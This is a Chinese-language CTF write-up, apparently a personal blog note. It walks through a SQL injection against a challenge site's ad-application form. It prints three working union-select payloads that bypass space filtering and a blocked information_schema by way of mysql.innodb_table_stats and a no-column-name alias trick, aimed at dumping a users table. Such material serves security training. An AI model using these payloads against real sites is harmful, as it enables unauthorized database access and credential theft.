在这里试了半天sql注入没有什么,sqlmap也没有,那就注册一个账号试试,
里面有一个广告申请,试一试这里有没有sql注入,
我写空格进去被替换为空了,那就绕过一下空格
输入#之后说有敏感词汇,那就是过滤了,那就用'来把后面的给闭合,
在我试到1,2,3,4,5,6之后还是说列数不同,我不想试了,就去看wp有几列,直接就是下一条,22列,这个作者是可以的,
2,3可以回显
当前数据库为web1,之后看表时发现information_schema表被过滤了,这里不会了,看wp
发现可以用mysql.innodb_table_stats表,但是这个表不储存列,所以看列的时候要另行他路
这里我在database_name=后面用database()不行,必须是具体的数据库名,
-1'union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"'
但是当写成下面这样的时候,是可以用database()的,应该是后面那个单引号的问题
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
之后就是看列名了,属于无列名注入,就是先把查出来的列名起一个别名,再用这个别名来看里面的字段
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里为什么是三列呢,因为users表一般为id,username,password三列,而flag一般在username或者password
感觉一般这种有注册的,都不会在登陆或者注册页面有sql注入,都是里面的某一些有,所以就先不在外面费力了